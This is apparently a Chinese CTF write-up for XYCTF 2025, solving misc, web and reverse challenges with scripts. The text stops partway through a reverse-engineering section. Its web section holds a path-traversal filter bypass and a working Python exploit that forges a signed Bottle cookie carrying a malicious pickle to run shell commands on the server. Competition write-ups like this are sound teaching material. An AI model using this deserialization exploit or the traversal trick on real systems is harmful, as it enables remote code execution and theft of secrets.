[TOC]

misc

XGCTF

根据题目描述

image-20250405191413371

可以知道，需要找到XGCTF中LamentXU师傅出的题

image-20250405191521846

这道题是原型链污染的题目

然后使用浏览器搜索引擎找到dragonkeep的博客（结合提示推断，会多一个字母）

image-20250405191707025

然后进去找到有关原型链污染的题目，进入页面，查看源码，在源码处找到flag的base64编码，然后解码就得到flag

image-20250405191834120

image-20250405191844361

flag{1t_I3_t3E_s@Me_ChAl1eNge_aT_a1L_P1e@se_fOrg1ve_Me}

签个到吧

image-20250406004256018

根据题目提示：

最小的，具有图灵完备性的语言是？

和上网查询，发现是Brainfuck代码

查询其知识点可以知道，其计算方法大概就是前面的+数量和[<>]里的+数量相乘，得到一个数，就是一个ascll码，这段代码无法直接运行，所以将其进行修改，去掉”-+-+-+-”和”<[-]>”，然后就是这个样子：

1
+++++++++++++++++[<++++++>]++++++++++++[<+++++++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++++++++++++++++++++++++[<+++>]+++++++++++++++++++++++++++++[<+++>]+++++++++++++++++[<+++>]++++++++++++[<+++++++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]++++++++[<++++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++[<+++++>]+++++++++++++++++++++++++++++[<++++>]++++++++[<++++++>]+++++++++++++++++++[<+++++>]+++++++++++[<++++++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]++++++++++++[<+++++++>]++++++++++[<+++++++>]+++++++++++++++++++[<+++++>]++++++++++[<+++++>]++++++++[<++++++>]++++++++++[<+++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++[<+++++>]+++++++++++++++++++++++[<+++>]+++++++++++[<++++++++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>]++++++++[<++++++>]+++++++++++[<+++++>]+++++++++++++++++++[<+++++>]+++++++[<+++++++>]+++++++++++++++++++++++++++++[<++++>]+++++++++++[<+++>]+++++++++++++++++++++++++[<+++++>]

使用python脚本跑一下得到ascll码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
s = '+++++++++++++++++[<++++++>]++++++++++++[<+++++++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++++++++++++++++++++++++[<+++>]+++++++++++++++++++++++++++++[<+++>]+++++++++++++++++[<+++>]++++++++++++[<+++++++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]++++++++[<++++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++[<+++++>]+++++++++++++++++++++++++++++[<++++>]++++++++[<++++++>]+++++++++++++++++++[<+++++>]+++++++++++[<++++++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]++++++++++++[<+++++++>]++++++++++[<+++++++>]+++++++++++++++++++[<+++++>]++++++++++[<+++++>]++++++++[<++++++>]++++++++++[<+++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>]+++++++++++++++++++[<+++++>]+++++++++++++++++++++++[<+++>]+++++++++++[<++++++++++>]+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>]++++++++[<++++++>]+++++++++++[<+++++>]+++++++++++++++++++[<+++++>]+++++++[<+++++++>]+++++++++++++++++++++++++++++[<++++>]+++++++++++[<+++>]+++++++++++++++++++++++++[<+++++>]'

results = []
i = 0
n = len(s)

while i < n:
    # 收集前面的加号
    count_plus = 0
    while i < n and s[i] == '+':
        count_plus += 1
        i += 1
    if count_plus == 0:
        # 没有加号，跳过当前字符
        i += 1
        continue
    # 检查是否有左括号
    if i >= n or s[i] != '[':
        continue  # 结构不符合，跳过
    i += 1  # 跳过左括号
    bracket_plus = 0
    count_bracket = 1
    # 处理括号内的内容
    while i < n and count_bracket != 0:
        if s[i] == '[':
            count_bracket += 1
        elif s[i] == ']':
            count_bracket -= 1
        if s[i] == '+':
            bracket_plus += 1
        i += 1
    # 计算并存储结果
    product = count_plus * bracket_plus
    results.append(product)

# 输出所有结果
for num in results:
    print(num, end=' ')

image-20250406004736659

解码得到flag

flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}

会飞的雷克萨斯

image-20250406172048920

根据题目内容搜索关键词：1.30一男孩放鞭炮引爆地面

image-20250406172203061

然后再直接搜索⼩东⼗七⻔店电话5951557找到⼤概位置

image-20250414100626967

flag{四川省内江市资中县春岚北路中铁城市中心内}

Greedymen

开启环境，然后看看是个游戏，游戏规则如下：

image-20250406183320540

翻译过来就是：

共有 3 个级别，1/2/3 级有数字 1 到 50/100/200 可供选择
您选择的每个数字，您都会获得相应的积分
不过，您的对手会选择您所选择的数字的所有因素，并得到每个因素的分数
您不能选择已分配给玩家的号码
只有当该数字至少有一个因素未选择时，您才允许选择该数字
如果您不能再选择，则棋盘的其余部分归您的对手所有
为了让挑战更难，在 1/2/3 级中有一个以 19/37/76 开头的计数器，每选择一个数字，计数器就会减少 1
当数值达到 0 时，游戏就会结束，而未分配的数字会归您的对手所有
挑战总是可以解决的
得分最高的玩家获胜
祝你好运！

就是个烧脑游戏，具体玩法怎么赢就不说了，直接上脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python3
from pwn import *
import re
import sys
import time
import math

HOST = "47.94.172.18"
PORT = 28866
def get_proper_divisors(n):
    divs = set()
    for i in range(1, int(math.sqrt(n)) + 1):
        if n % i == 0:
            if i != n:
                divs.add(i)
            j = n // i
            if j != n:
                divs.add(j)
    return sorted(divs)

def parse_unassigned(line):
    m = re.search(r'Unassigned Numbers: \[(.*?)\]', line)
    if m:
        nums = m.group(1).split(',')
        nums = [int(x.strip()) for x in nums if x.strip() != '']
        return nums
    return []

def parse_info(line):
    m = re.search(r'Counter: (\d+)', line)
    if m:
        counter = int(m.group(1))
    else:
        counter = None
    m2 = re.search(r'Your Score: (\d+)', line)
    if m2:
        your_score = int(m2.group(1))
    else:
        your_score = None
    m3 = re.search(r'Opponent Score: (\d+)', line)
    if m3:
        opp_score = int(m3.group(1))
    else:
        opp_score = None
    return counter, your_score, opp_score

def choose_number(unassigned):
    best = None
    best_net = -10**9

    max_value = max(unassigned) if unassigned else 50
    assigned = set(range(1, max_value + 1)) - set(unassigned)
    
    for n in unassigned:
        divisors = get_proper_divisors(n)
        legal = False
        gain_loss = 0
        for d in divisors:
            if d in unassigned:
                legal = True
                gain_loss += d 
        if not legal:
            continue

        net = n - gain_loss
        if net > best_net:
            best_net = net
            best = n
    return best

def main():
    context.log_level = "info"
    io = remote(HOST, PORT)

    banner = io.recvuntil(b"1.Play")
    log.info("Banner:\n" + banner.decode())

    io.sendline(b"1")
    
    while True:
        try:
            data = io.recvuntil(b"Choose a Number:", timeout=10)
        except EOFError:
            log.info("游戏结束")
            break

        text = data.decode()
        log.info("当前状态:\n" + text)
        
        unassigned = []
        for line in text.splitlines():
            if "Unassigned Numbers:" in line:
                unassigned = parse_unassigned(line)
                break

        if not unassigned:
            log.info("无法解析未分配数字或列表为空，退出")
            break

        choice = choose_number(unassigned)
        if choice is None:
            log.info("没有合法选项，退出")
            break

        log.info("选择数字: {}".format(choice))
        io.sendline(str(choice).encode())

        time.sleep(0.5)

    io.interactive()

if __name__ == '__main__':
    main()

等脚本跑完得到flag

image-20250406183721640

flag{Greed, is……key of the life.}

MADer也要当CTFer

打开附件是一个mkv音频文件，而且是bilibili上的，显示有5分多钟，但是只能播放一点。

然后去bilibili上找原视频，发现只有十几秒

image-20250406185545579

先用工具PotPlayer打开看看，发现底下有一堆字幕流

image-20250406185741934

于是使用工具mkvextractGUI导出字幕流

image-20250406192727530

然后使用脚本处理信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import re
def extract_ass_text(input_file, output_file):
    try:
        with open(input_file, 'r', encoding='utf-8') as f:
            ass_content = f.readlines()
    except UnicodeDecodeError:
        with open(input_file, 'r', encoding='gbk') as f:
            ass_content = f.readlines()
    dialogues = [] # 这个列表现在是函数的局部变量
    for line in ass_content:
        line = line.strip()
        if line.startswith('Dialogue:'):
            parts = line.split(',', 9)
            if len(parts) < 10:
                continue
            text = parts[9]
            text = re.sub(r'\{.*?\}', '', text)
            text = re.sub(r'\\[nNhH]', ' ', text)
            text = text.strip()
            if text:
                dialogues.append(text)
    with open(output_file, 'w', encoding='utf-8') as f:
        f.write('\n'.join(dialogues))
    return dialogues # 添加返回值

if __name__ == '__main__':
    input_path = 'C:\\Users\\Lucky\\Desktop\\competition\\xyctf2025\\misc\\MADer也要当CTFer\\只是刚好情窦初开遇到你.ass'
    output_path = 'C:\\Users\\Lucky\\Desktop\\competition\\xyctf2025\\misc\\MADer也要当CTFer\\1.txt'
    dialogues = extract_ass_text(input_path, output_path) # 接收返回值
    print(f'成功提取 {len(dialogues)} 条字幕到 {output_path}')

然后将⼗六进制解码得到⼀个⽂件

image-20250406201019876

然后记事本打开找flag，需要费眼睛和一些经验。

细寻找找到了flag。

image-20250406200941068

flag{l_re@IIy_w@nn@_2_Ie@rn_AE}

曼波曼波曼波

下载附件是一个二维码和一个txt文件，扫描二维码发现是个假的flag，于是将目光转向txt文本。

查看文本内容，发现开头是个=

image-20250414105912957

想到可能是base64的逆序，于是使用脚本或者在线网站将其逆序回来，得到一个压缩包。

解压得到

image-20250414110039835

根据提示，试试密码：xyctf2025，错误。

试试大写：XYCTF2025，成功提取内容

image-20250414110257927

现在加上它原本给的图片，有两张看着一样的图片了

image-20250414110732935

双图片盲水印直接提取

image-20250414111934085

XYCTF{easy_yin_xie_dfbfuj877}

问卷

就不多说了。填了就行

image-20250406162827583

web

Signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

源码审计，发现是使用的bottem框架，而且是使用的set_cookie来进行响应包设置cookie，但是使用了一个secret。而secret在文件secret.txt里面，所以需要使用/download路由来读取。

为了绕过验证，可以使用./.././../来实现../../的效果

1
/download?filename=./.././../secret.txt

image-20250406181329616

得到secret: Hell0_H@cker_Y0u_A3r_Sm@r7

然后访问/secret，之后再发送请求包会有一个cookie

image-20250406181747018

使用得到的secret解密然后，将name修改成为admin，再使用secret加密来伪造session

直接使用脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import hmac
import hashlib
import base64
import pickle
import requests

secret = 'Hell0_H@cker_Y0u_A3r_Sm@r7'
target_url = 'http://eci-2zedg1ipvojx7p46j3ij.cloudeci1.ichunqiu.com:5000/secret'

class ReadFlagExploit(object):
    def __reduce__(self):
        return (exec, (
            "import subprocess,base64;from bottle import response;"
            "flag=subprocess.check_output('ls /',shell=True);"
            "response.set_header('X-Flag',base64.b64encode(flag).decode())"
        ,))

session_data = {"name": ReadFlagExploit()}
def create_malicious_cookie(secret, data):
    hmac_algo = hashlib.sha256 
    serialized = pickle.dumps(["name", data], protocol=0) 
    encoded_data = base64.b64encode(serialized).decode()
    signature = hmac.new(secret.encode(), encoded_data.encode(), hmac_algo).digest()
    sig_b64 = base64.b64encode(signature).decode()
    return f'!{sig_b64}?{encoded_data}'

malicious_cookie = create_malicious_cookie(secret, session_data)

headers = {'Cookie': f'name={malicious_cookie}'}
response = requests.get(target_url, headers=headers)

if 'X-Flag' in response.headers:
    flag = base64.b64decode(response.headers['X-Flag']).decode()
    print("[+] Flag:", flag)
else:
    print("[-] 直接读取失败，尝试反向Shell或调整HMAC算法。")
    print("[*] 响应状态码:", response.status_code)
    print("[*] 返回Cookie:", response.headers.get('Set-Cookie', ''))

image-20250406182857043

执行

1
cat /flag_dda2d465-af33-4c56-8cc9-fd4306867b70

拿到flag

image-20250406183045456

flag{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!}

ez_puzzle

由于环境无法复现，以下为官方wp:

前端有F12和⿏标右键的拦截：

image-20250414112612654

用其他方法打开控制台，然后会触发程序的反调试。这⾥直接右键，然后选择”向忽略列表添加脚本”。整个程序就不会停⽌了，但是这样我们也不能调试了。

image-20250414112704268

然后因为这道题说两秒之内完成拼图，那么肯定是有时间差的。我们全局搜time发现了endTime和startTime两个变量，那么就猜测程序会在拼图完成后把两个变量作差，然后与2000做⽐较，虽然endTime我们不知道，但是可以把startTime改的很⼤，然后作差为负数，也是⼩于2000的。

image-20250414112748364

然后完成拼图即可。

image-20250414112812505

re

WARMUP

可以看到chr()中有一堆算术式子，先写脚本将其跑出来。模一个1114112。

1
2
enc1=chr(int((667205//8665)% 1114112))+chr(int((-7671+7786)% 1114112))+chr(int((8541-8438)% 1114112))+chr(int((422928//6408)% 1114112))+chr(int((-1948+2059)% 1114112))+chr(int((-3066+3186)% 1114112))+chr(int((756-724)% 1114112))+chr(int((4080//120)% 1114112))+chr(int((-3615+3683)% 1114112))+chr(int((-1619+1720)% 1114112))+chr(int((-2679+2776)% 1114112))+chr(int((659718//5787)% 1114112))+chr(int((302752//9461)% 1114112))+chr(int((-6627+6694)% 1114112))+chr(int((-4261+4345)% 1114112))+chr(int((81690//1167)% 1114112))+chr(int((636180//9220)% 1114112))+chr(int((538658//6569)% 1114112))+chr(int((-1542+1588)% 1114112))+chr(int((-1644+1676)% 1114112))+chr(int((122184//1697)% 1114112))+chr(int((966411//9963)% 1114112))+chr(int((2186-2068)% 1114112))+chr(int((-5283+5384)% 1114112))+chr(int((305056//9533)% 1114112))+chr(int((66402//651)% 1114112))+chr(int((1141452//9756)% 1114112))+chr(int((882090//8019)% 1114112))+chr(int((-4243+4275)% 1114112))+chr(int((2669-2564)% 1114112))+chr(int((83+27)% 1114112))+chr(int((254880//7965)% 1114112))+chr(int((-1291+1379)% 1114112))+chr(int((-4699+4788)% 1114112))+chr(int((4730-4663)% 1114112))+chr(int((-1179+1263)% 1114112))+chr(int((5274-5204)% 1114112))+chr(int((210144//6567)% 1114112))+chr(int((-6803+6853)% 1114112))+chr(int((6655-6607)% 1114112))+chr(int((4067-4017)% 1114112))+chr(int((121900//2300)% 1114112))+chr(int((-6158+6191)% 1114112))+chr(int((11934//351)% 1114112))+chr(int((64883//4991)% 1114112))+chr(int((65420//6542)% 1114112))+chr(int((3781-3679)% 1114112))+chr(int((1612-1504)% 1114112))+chr(int((892788//9204)% 1114112))+chr(int((927618//9006)% 1114112))+chr(int((-6692+6724)% 1114112))+chr(int((410591//6731)% 1114112))+chr(int((6675-6643)% 1114112))+chr(int((697880//9560)% 1114112))+chr(int((4250-4140)% 1114112))+chr(int((5464-5352)% 1114112))+chr(int((-1082+1199)% 1114112))+chr(int((3343-3227)% 1114112))+chr(int((1211-1145)% 1114112))+chr(int((482406//4346)% 1114112))+chr(int((-5549+5669)% 1114112))+chr(int((-5150+5190)% 1114112))+chr(int((4400-4366)% 1114112))+chr(int((-3277+3346)% 1114112))+chr(int((-6649+6759)% 1114112))+chr(int((-5669+5785)% 1114112))+chr(int((-6734+6835)% 1114112))+chr(int((9757-9643)% 1114112))+chr(int((109-77)% 1114112))+chr(int((5620-5504)% 1114112))+chr(int((-2887+2991)% 1114112))+chr(int((-3081+3182)% 1114112))+chr(int((-5109+5141)% 1114112))+chr(int((699860//9998)% 1114112))+chr(int((-3603+3679)% 1114112))+chr(int((1631-1566)% 1114112))+chr(int((445-374)% 1114112))+chr(int((294118//5071)% 1114112))+chr(int((-1115+1149)% 1114112))+chr(int((222376//5054)% 1114112))+chr(int((8137-8105)% 1114112))+chr(int((-1653+1687)% 1114112))+chr(int((357104//4058)% 1114112))+chr(int((1650-1561)% 1114112))+chr(int((-9501+9568)% 1114112))+chr(int((1047-963)% 1114112))+chr(int((2540-2470)% 1114112))+chr(int((1692-1658)% 1114112))+chr(int((9947-9906)% 1114112))+chr(int((9186-9173)% 1114112))+chr(int((-2846+2856)% 1114112))+chr(int((425187//3573)% 1114112))+chr(int((-3066+3167)% 1114112))+chr(int((2850-2748)% 1114112))+chr(int((-2992+3090)% 1114112))+chr(int((958230//8190)% 1114112))+chr(int((869295//7305)% 1114112))+chr(int((3380-3275)% 1114112))+chr(int((-7338+7455)% 1114112))+chr(int((408848//4048)% 1114112))+chr(int((9211-9179)% 1114112))+chr(int((-2437+2498)% 1114112))+chr(int((1672-1640)% 1114112))+chr(int((2378-2344)% 1114112))+chr(int((544749//9557)% 1114112))+chr(int((351120//7315)% 1114112))+chr(int((773800//7738)% 1114112))+chr(int((2033-1931)% 1114112))+chr(int((-8059+8111)% 1114112))+chr(int((-4731+4783)% 1114112))+chr(int((-9204+9252)% 1114112))+chr(int((-4261+4316)% 1114112))+chr(int((850521//8421)% 1114112))+chr(int((-7011+7112)% 1114112))+chr(int((292272//6089)% 1114112))+chr(int((-8609+8666)% 1114112))+chr(int((-2921+2972)% 1114112))+chr(int((6772-6672)% 1114112))+chr(int((487611//9561)% 1114112))+chr(int((-6754+6802)% 1114112))+chr(int((464835//8155)% 1114112))+chr(int((-939+987)% 1114112))+chr(int((421173//7389)% 1114112))+chr(int((-8145+8201)% 1114112))+chr(int((9368-9268)% 1114112))+chr(int((-7682+7738)% 1114112))+chr(int((-8646+8699)% 1114112))+chr(int((484612//4996)% 1114112))+chr(int((286832//5516)% 1114112))+chr(int((-9710+9760)% 1114112))+chr(int((884156//9022)% 1114112))+chr(int((7080-6979)% 1114112))+chr(int((265477//5009)% 1114112))+chr(int((6+49)% 1114112))+chr(int((5395-5298)% 1114112))+chr(int((6645-6595)% 1114112))+chr(int((-9706+9763)% 1114112))+chr(int((-6697+6752)% 1114112))+chr(int((927-870)% 1114112))+chr(int((4048-3946)% 1114112))+chr(int((34398//702)% 1114112))+chr(int((825675//8175)% 1114112))+chr(int((-438+491)% 1114112))+chr(int((87808//1792)% 1114112))+chr(int((-2601+2653)% 1114112))+chr(int((420228//7782)% 1114112))+chr(int((-5266+5317)% 1114112))+chr(int((53059//547)% 1114112))+chr(int((477054//9354)% 1114112))+chr(int((9238-9189)% 1114112))+chr(int((799112//7912)% 1114112))+chr(int((3340-3284)% 1114112))+chr(int((8544-8444)% 1114112))+chr(int((1220-1171)% 1114112))+chr(int((-7192+7245)% 1114112))+chr(int((73629//729)% 1114112))+chr(int((6523-6473)% 1114112))+chr(int((2761-2659)% 1114112))+chr(int((358124//3692)% 1114112))+chr(int((-6167+6266)% 1114112))+chr(int((-3842+3894)% 1114112))+chr(int((7840-7739)% 1114112))+chr(int((-3980+4036)% 1114112))+chr(int((987-935)% 1114112))+chr(int((6868//68)% 1114112))+chr(int((-559+656)% 1114112))+chr(int((6513-6465)% 1114112))+chr(int((843300//8433)% 1114112))+chr(int((-8159+8261)% 1114112))+chr(int((-753+807)% 1114112))+chr(int((278700//5574)% 1114112))+chr(int((5600//112)% 1114112))+chr(int((-549+646)% 1114112))+chr(int((-7697+7750)% 1114112))+chr(int((390292//7364)% 1114112))+chr(int((988020//9980)% 1114112))+chr(int((-3250+3302)% 1114112))+chr(int((6295-6195)% 1114112))+chr(int((4342-4242)% 1114112))+chr(int((-9602+9704)% 1114112))+chr(int((1312-1214)% 1114112))+chr(int((1065-1012)% 1114112))+chr(int((1122//22)% 1114112))+chr(int((191012//3604)% 1114112))+chr(int((330775//3275)% 1114112))+chr(int((226848//2224)% 1114112))+chr(int((4973-4922)% 1114112))+chr(int((369357//3657)% 1114112))+chr(int((-7229+7282)% 1114112))+chr(int((588//12)% 1114112))+chr(int((57570//570)% 1114112))+chr(int((4554-4498)% 1114112))+chr(int((483924//4938)% 1114112))+chr(int((485600//9712)% 1114112))+chr(int((5051-4998)% 1114112))+chr(int((8467-8417)% 1114112))+chr(int((-6799+6855)% 1114112))+chr(int((668360//6820)% 1114112))+chr(int((428008//7643)% 1114112))+chr(int((-309+359)% 1114112))+chr(int((-7495+7549)% 1114112))+chr(int((198200//1982)% 1114112))+chr(int((-4298+4351)% 1114112))+chr(int((2979-2928)% 1114112))+chr(int((-391+443)% 1114112))+chr(int((-5951+6006)% 1114112))+chr(int((-2271+2372)% 1114112))+chr(int((1431-1382)% 1114112))+chr(int((-2812+2866)% 1114112))+chr(int((4906-4853)% 1114112))+chr(int((-5308+5365)% 1114112))+chr(int((-8587+8636)% 1114112))+chr(int((-1003+1053)% 1114112))+chr(int((468741//4641)% 1114112))+chr(int((8449-8392)% 1114112))+chr(int((14877//261)% 1114112))+chr(int((-5097+5146)% 1114112))+chr(int((6695-6646)% 1114112))+chr(int((-2866+2922)% 1114112))+chr(int((483786//9486)% 1114112))+chr(int((-4142+4193)% 1114112))+chr(int((2347-2296)% 1114112))+chr(int((-1784+1833)% 1114112))+chr(int((116229//2193)% 1114112))+chr(int((-1099+1148)% 1114112))+chr(int((8230-8180)% 1114112))+chr(int((-4351+4406)% 1114112))+chr(int((1975-1924)% 1114112))+chr(int((779229//7871)% 1114112))+chr(int((102960//1040)% 1114112))+chr(int((67830//1330)% 1114112))+chr(int((-4771+4873)% 1114112))+chr(int((-32+129)% 1114112))+chr(int((155456//2776)% 1114112))+chr(int((9798-9700)% 1114112))+chr(int((4944-4894)% 1114112))+chr(int((-2496+2594)% 1114112))+chr(int((5495-5444)% 1114112))+chr(int((8113-8015)% 1114112))+chr(int((-8444+8496)% 1114112))+chr(int((3896-3847)% 1114112))+chr(int((6306-6255)% 1114112))+chr(int((1284-1185)% 1114112))+chr(int((1003986//9843)% 1114112))+chr(int((-1321+1371)% 1114112))+chr(int((2676-2578)% 1114112))+chr(int((-5421+5521)% 1114112))+chr(int((564186//5757)% 1114112))+chr(int((6608-6559)% 1114112))+chr(int((7038-6937)% 1114112))+chr(int((209720//3745)% 1114112))+chr(int((-616+715)% 1114112))+chr(int((9766-9709)% 1114112))+chr(int((2111-2012)% 1114112))+chr(int((528993//9981)% 1114112))+chr(int((1901-1851)% 1114112))+chr(int((281344//5024)% 1114112))+chr(int((5695-5641)% 1114112))+chr(int((4815-4762)% 1114112))+chr(int((399556//3956)% 1114112))+chr(int((572730//5615)% 1114112))+chr(int((-5718+5817)% 1114112))+chr(int((21+27)% 1114112))+chr(int((4532-4475)% 1114112))+chr(int((-8446+8499)% 1114112))+chr(int((5786-5689)% 1114112))+chr(int((4177-4121)% 1114112))+chr(int((-8411+8511)% 1114112))+chr(int((-9499+9599)% 1114112))+chr(int((479528//8563)% 1114112))+chr(int((6850-6793)% 1114112))+chr(int((-3725+3823)% 1114112))+chr(int((-8692+8743)% 1114112))+chr(int((284298//2901)% 1114112))+chr(int((214302//4202)% 1114112))+chr(int((576675//5825)% 1114112))+chr(int((-4565+4667)% 1114112))+chr(int((-7223+7321)% 1114112))+chr(int((383278//3911)% 1114112))+chr(int((-2540+2590)% 1114112))+chr(int((35+13)% 1114112))+chr(int((-5549+5597)% 1114112))+chr(int((969122//9889)% 1114112))+chr(int((964712//9844)% 1114112))+chr(int((-6231+6328)% 1114112))+chr(int((-1560+1660)% 1114112))+chr(int((-7416+7514)% 1114112))+chr(int((609144//5972)% 1114112))+chr(int((471432//9066)% 1114112))+chr(int((-4500+4597)% 1114112))+chr(int((8620-8566)% 1114112))+chr(int((7113-7014)% 1114112))+chr(int((-2488+2588)% 1114112))+chr(int((-3599+3651)% 1114112))+chr(int((211956//6234)% 1114112))+chr(int((1697-1665)% 1114112))+chr(int((-5122+5161)% 1114112))+chr(int((-3189+3221)% 1114112))+chr(int((-5840+114)% 1114112))+chr(int((-37790+6278)% 1114112))+chr(int((-8.231351E+07//3957)% 1114112))+chr(int((-14110+7864)% 1114112))+chr(int((-30457-1205)% 1114112))+chr(int((9930-9863)% 1114112))+chr(int((107-55)% 1114112))+chr(int((517-7291)% 1114112))+chr(int((-31263+6916)% 1114112))+chr(int((-29685+9083)% 1114112))+chr(int((-2.138515E+07//3442)% 1114112))+chr(int((-26304-1370)% 1114112))+chr(int((-1.510879E+08//6060)% 1114112))+chr(int((-903-3261)% 1114112))+chr(int((-22484-8007)% 1114112))+chr(int((-34437+5126)% 1114112))+chr(int((-10635+3856)% 1114112))+chr(int((-1.97004E+08//9374)% 1114112))+chr(int((-1.079768E+08//6550)% 1114112))+chr(int((-2.533546E+07//3739)% 1114112))+chr(int((-25645+6931)% 1114112))+chr(int((-1.720817E+08//7056)% 1114112))+chr(int((-12498+5774)% 1114112))+chr(int((-2.164872E+08//7546)% 1114112))+chr(int((-8955-8316)% 1114112))+chr(int((-3584+3597)% 1114112))+chr(int((-1280+1290)% 1114112))+chr(int((795633//7041)% 1114112))+chr(int((291669//2451)% 1114112))+chr(int((9044-8942)% 1114112))+chr(int((264014//2614)% 1114112))+chr(int((-7841+7873)% 1114112))+chr(int((10919//179)% 1114112))+chr(int((22272//696)% 1114112))+chr(int((-8135+8169)% 1114112))+chr(int((-5733+5847)% 1114112))+chr(int((371547//3753)% 1114112))+chr(int((473980//9115)% 1114112))+chr(int((391-284)% 1114112))+chr(int((-1824+1925)% 1114112))+chr(int((-1707+1828)% 1114112))+chr(int((2151-2117)% 1114112))+chr(int((2535//195)% 1114112))+chr(int((7236-7226)% 1114112))+chr(int((58097//4469)% 1114112))+chr(int((2710//271)% 1114112))+chr(int((118677//3043)% 1114112))+chr(int((-7992+8024)% 1114112))+chr(int((-5.682766E+07//8145)% 1114112))+chr(int((-3.747722E+07//1805)% 1114112))+chr(int((-20535-2876)% 1114112))+chr(int((-5076000//750)% 1114112))+chr(int((-28220-733)% 1114112))+chr(int((-33583+7603)% 1114112))+chr(int((7730-7648)% 1114112))+chr(int((7057-6990)% 1114112))+chr(int((338728//6514)% 1114112))+chr(int((-4.203267E+07//6205)% 1114112))+chr(int((-20128-4219)% 1114112))+chr(int((-29090+8488)% 1114112))+chr(int((-7954+1177)% 1114112))+chr(int((-25730+8808)% 1114112))+chr(int((-23859-3357)% 1114112))+chr(int((-2130+2143)% 1114112))+chr(int((6827-6817)% 1114112))+chr(int((4334-4264)% 1114112))+chr(int((4851-4734)% 1114112))+chr(int((5121-5011)% 1114112))+chr(int((7034-6935)% 1114112))+chr(int((4197-4081)% 1114112))+chr(int((-1823+1928)% 1114112))+chr(int((1032744//9304)% 1114112))+chr(int((1547-1437)% 1114112))+chr(int((-7393+7425)% 1114112))+chr(int((608932//7426)% 1114112))+chr(int((864513//7389)% 1114112))+chr(int((1748-1638)% 1114112))+chr(int((501676//6118)% 1114112))+chr(int((510473//7619)% 1114112))+chr(int((-6752+6792)% 1114112))+chr(int((-5142+5257)% 1114112))+chr(int((-9558+9635)% 1114112))+chr(int((7906-7805)% 1114112))+chr(int((5308-5193)% 1114112))+chr(int((163300//1420)% 1114112))+chr(int((10961//113)% 1114112))+chr(int((740364//7188)% 1114112))+chr(int((-5327+5428)% 1114112))+chr(int((5703-5659)% 1114112))+chr(int((-7307+7339)% 1114112))+chr(int((445970//3878)% 1114112))+chr(int((608-492)% 1114112))+chr(int((-4799+4913)% 1114112))+chr(int((-3687+3762)% 1114112))+chr(int((9993-9892)% 1114112))+chr(int((1032493//8533)% 1114112))+chr(int((103607//2527)% 1114112))+chr(int((123266//9482)% 1114112))+chr(int((61520//6152)% 1114112))+chr(int((251424//7857)% 1114112))+chr(int((104032//3251)% 1114112))+chr(int((-7228+7260)% 1114112))+chr(int((239648//7489)% 1114112))+chr(int((-1858+1926)% 1114112))+chr(int((865515//8243)% 1114112))+chr(int((818481//7509)% 1114112))+chr(int((244384//7637)% 1114112))+chr(int((-4252+4359)% 1114112))+chr(int((10+66)% 1114112))+chr(int((-3202+3303)% 1114112))+chr(int((466070//4237)% 1114112))+chr(int((3973-3929)% 1114112))+chr(int((-7658+7690)% 1114112))+chr(int((563430//5366)% 1114112))+chr(int((168872//3838)% 